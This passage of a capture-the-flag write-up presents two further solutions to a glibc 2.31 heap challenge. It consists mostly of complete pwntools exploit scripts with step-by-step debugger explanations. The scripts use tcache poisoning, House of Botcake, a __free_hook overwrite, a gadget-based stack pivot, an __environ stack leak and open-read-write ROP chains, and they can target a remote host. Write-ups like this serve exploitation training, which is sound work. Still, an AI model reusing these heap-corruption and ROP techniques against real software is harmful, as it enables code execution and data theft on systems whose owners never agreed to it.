    free_hook = libc_base + libc.sym['__free_hook']
    free_addr = libc_base + libc.sym['free']
    open_addr = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    puts = libc_base + libc.sym['puts']
    leave_r = libc_base + 0x5aa48 # mov rsp, rbp; pop rbp; ret
    p_rsi_r = libc_base + 0x27529
    p_rdi_r = libc_base + 0x26b72
    p_rdx_r12_r = libc_base + 0x11c1e1
    add_rsp_0x18_r=libc_base + 0x3794a
    ret = libc_base + 0x25679   # mov rip, [rsp]; rsp + 8
    
    pa('leave ret', leave_r)
    pa('pop rdi; ret', p_rdi_r)
    pa('gadget', gadget)
    pa('__free_hook', free_hook)
    
    for i in range(6):
        add(i, 1, 'UUUU')
    add(7, 1, 'aaaa')  # tcachebin chunk 0
    add(6, 1, p64(0xdeadbeef)[:-1])  # usibn chunk 6
    # tcache poisoning -> index 6 & 8 overlapped on chunk 6
    free(7) # tcahce pad
    free(6) # tcache top
    # tcache poison
    rename(8, p64(free_hook)[:-1])
    add(6, 1,'aaaa')
    add(7, 1, p64(gadget)[:-1])   # write gadget to __free_hook
  
    # ----- 4 ----- Pivot stack to heap
    stack_addr = heap_addr + 0x900  # chunk 6 description field
    # set rbp = chunk 6 description
    pl=flat({
        0x0: '/flag\x00',
        0x38: stack_addr,   # -> mov rbp, [rdi + 0x48]; 
        # @chunk6, rax=[heap_addr+0x918]
        0x40: leave_r,  # call [rax + 0x28]
    }, filler='\0')
    edit(0, pl) # chunk 7
    
    # ----- 5 ----- ORW ROP chain on fakestack (chunk 6 description)
    pl=flat({
        # after leave_r
        0x0:  ret,
        0x8:  add_rsp_0x18_r,   # rsp+0x20 -> jump to ORW chain
        0x10: add_rsp_0x18_r,   # junk
        # call [rax + 0x28] = @leave_r on chunk 6 description
        0x18: heap_addr + 0xa50 - 0x28,   # rax value for gadget
        # orw chains
        # open
        0x28: p_rdi_r,
        0x30: heap_addr + 0xa10,   # '/flag\x00'
        0x38: p_rsi_r,
        0x40: 0,
        0x48: open_addr,
        # read
        0x50: p_rdi_r,
        0x58: 4,    # file descriptor returned by open
        0x60: p_rsi_r,
        0x68: heap_addr + 0x3d0,
        0x70: p_rdx_r12_r,
        0x78: 30,
        0x80: 30,
        0x88: read_addr,
        # write
        0x90: p_rdi_r,
        0x98: heap_addr + 0x3d0,
        0xa0: puts,
    }, filler='\0')
    edit(6, pl)
  
    # # ----- 6 ----- Trigger
    # gdb.attach(p)
    free(0)
    
    p.interactive()
    
    
if __name__ == '__main__':
    
    file_path = './pwn'
    libc_path = './libc-2.31.so'
    ld_path   = './ld-2.31.so'
    
    context(arch="amd64", os="linux", endian="little")
    # context.log_level="debug"
    
    e    = ELF(file_path, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None
    
    if len(sys.argv) > 1:
        if libc_path != '':
            libc = ELF(libc_path)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
    else:
        if libc_path != '':
            libc = ELF(libc_path)
            env  = {'LD_PRELOAD': libc_path}
        if ld_path != '':
            cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
            p   = process(cmd, env=env)
        else:
            p = process(file_path, env=env)
        mode["local"] = True
        
    exploit()

GDB to Explain

The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.

Step 1: Leak Heap Address

Pretty much the same as Solution 1, but more simple using with the change_gender function.

Step 2: Leak Libc Address

Double free > Leak unsorted bin address > Calculate libc base address:

Step 3: Write Gadget into __free_hook

To find out the vcudp_reply+26 gadget:

ropper --file ./libc-2.31.so --search 'mov rbp'

To trigger this gadget to work, we write it to the __free_hook:

Step 4: Deploy Stack Pivot

After triggering the vcudp_reply+26 gadget, it will first mov rbp [rdi+0x48] to pivot stack — move it to the description field of chunk 6, where we can freely write. And it will call [rax + 0x28] at last — make the destination store the gadget leave; ret (mov rsp, rbp; pop rbp) to perform stack pivot:

Step 5: Stack Pivot & ORW ROP chain

When the vcudp_reply+26 gadget is executed, it runs mov rax, [rbp+0x18],where rax stores the new pivoted stack rbp. And we just need to make [rbp+0x18] store the value of the address where stores the leave; ret gadget to trigger that stack pivot operation:

The ORW part is pretty the same as Solution 1. We just use the gadget add rsp 0x18; ret to add rsp with a value of 0x20 to the beginning of the ORW chain.

Step 6: Trigger

Free chunk 7 (index 0) to trigger Free > Hijacked __free_hook > vcudp_reply+26 Gadget > Stack Pivot > Run ORW ROP chain — the file of name /flag will be open, then read into a free space and output by the puts function:

We will have the flag on the standard output:

Solution 3 | Leak Stack via environ

When we are able leak stack address, the solution can be even more simple — that we don't have to use magic gadgets to perform stack pivot to hijack the stack frame to heap.

The mentioned approach refers to a method for leaking the stack address by accessing the __environ symbol in the Glibc library. The stack address is often stored in the __environ variable, which is used to hold environment variables in memory.

Global Var | __environ

__environ is a global variable in Glibc that stores a pointer to the environment variables of the process:

  • Since this pointer resides on the stack, it can be used as a way to leak the stack address.
  • By reading or printing the contents of __environ, we can obtain an address pointing to a location on the stack.

We can perform the leak by:

  • Find and dereference __environ.
  • Using GOT (Global Offset Table) or PLT (Procedure Linkage Table) resolution, we can access the memory location of __environ during runtime and leak the stack address.

Using Pwntools:

environ_addr = elf.symbols['__environ']

Then we can calculate the offset for the specific stack addresses.

For example, in our case, the pointer stored in __environ is exactly 0xf8 offset to the return address in main function.

EXP to Explain

from pwn import *

[Omit the custom functions]    
    
def exploit():
    # ----- 1 ----- House of Botcake: leak libc、heap、environ
    # leak libc & __environ
    for i in range(10):
        add(i, 1, 'aaaa')
    for i in range(7):
        free(6 - i)
    free(7)
    free(8)
    add(0, 1, 'aaaa')
    free(8)
    add(0, 1, 'aaaa')
    for i in range(1,8):
        add(i,1,'aaaa')
    show(0)
    libc_base = l64() - 0x1ebbe0
    environ = libc_base + libc.sym['__environ']
    # leak stack
    add(8, 1, 'aaaa')
    free(9)
    free(8)
    rename(0, p64(environ-0x10)[:-1])
    add(8,1,'aaaa')
    add(9,1,'aaaa')
    show(9)
    stack_addr = uu64(ru('\x7f',False)[-6:])
    main_ret = stack_addr - 0xf8
    
    pa('libc base', libc_base)
    pa('__environ', environ)
    pa('stack addr stored in __environ', stack_addr)
    pa('main ret addr', main_ret)
    
    # ----- 2 ----- Tcache poison: Write controlled heap to main return 
    free(7)
    free(8)
    show(0)
    ru('Name: ')
    heap_addr = uu64(r(6))-0xa10
    rename(0,p64(main_ret-0x10)[:-1])   # edit description field (addr+0x10)
    add(8, 1, '/flag\x00\x00')    # chunk 8
    add(7, 1, p64(0xdeadbeef)[:-1]) # stack
    
    pa('leaked heap addr', heap_addr)

    # ----- 3 ----- Deploy ORW ROP chain
    p_rsi_r = libc_base + 0x27529
    p_rdi_r = libc_base + 0x26b72
    p_rdx_r12_r = libc_base + 0x11c1e1
    open_addr  = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    puts = libc_base + libc.sym['puts']
    # orw chains
    pl = flat({
        # open
        0x0:  p_rdi_r,
        0x8:  heap_addr + 0xb20,    # file name on chunk 8
        0x10: p_rsi_r,
        0x18: 0,
        0x20: open_addr,
        # read
        0x28: p_rdi_r,
        0x30: 4,
        0x38: p_rsi_r,
        0x40: heap_addr + 0x3d0,    # empty space
        0x48: p_rdx_r12_r,
        0x50: 30,
        0x58: 30,
        0x60: read_addr,
        # write
        0x68: p_rdi_r,
        0x70: heap_addr + 0x3d0,
        0x78: puts,
        }, filler='\0')
    edit(7,pl)
    
    # ----- 4 ----- Trigger: Quit to main return
    myquit()
 
    p.interactive()
    
    
if __name__ == '__main__':
    
    file_path = './pwn'
    libc_path = './libc-2.31.so'
    ld_path   = './ld-2.31.so'
    
    context(arch="amd64", os="linux", endian="little")
    # context.log_level="debug"
    
    e    = ELF(file_path, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None
    
    if len(sys.argv) > 1:
        if libc_path != '':
            libc = ELF(libc_path)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
    else:
        if libc_path != '':
            libc = ELF(libc_path)
            env  = {'LD_PRELOAD': libc_path}
        if ld_path != '':
            cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
            p   = process(cmd, env=env)
        else:
            p = process(file_path, env=env)
        mode["local"] = True
        
    exploit()

GDB to Explain

The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.

#### Step 1: Leak Libc, Heap, Environ

Nothing special compared to previous solutions. Using House of Botcake again, we here leak an extra address of __environ in Glibc, and calculate the main return address on the stack through a specific offset:

Step 2: Hijack Stack Ret to Heap

Using Tcache Poisoning technique, write the controlled heap address to the main return address on stack — once the we quit main, it returns to the heap where we deploy the ORW ROP chain later:

Malloc twice, chunk is then allocated on stack with an entry 0x10 beyond our target return address:

Step 3: Deploy ORW ROP Chain

Same technique we used in previous solutions. We just deploy the ROP chain on stack in this case:

Flag will be output:


Are you watching me?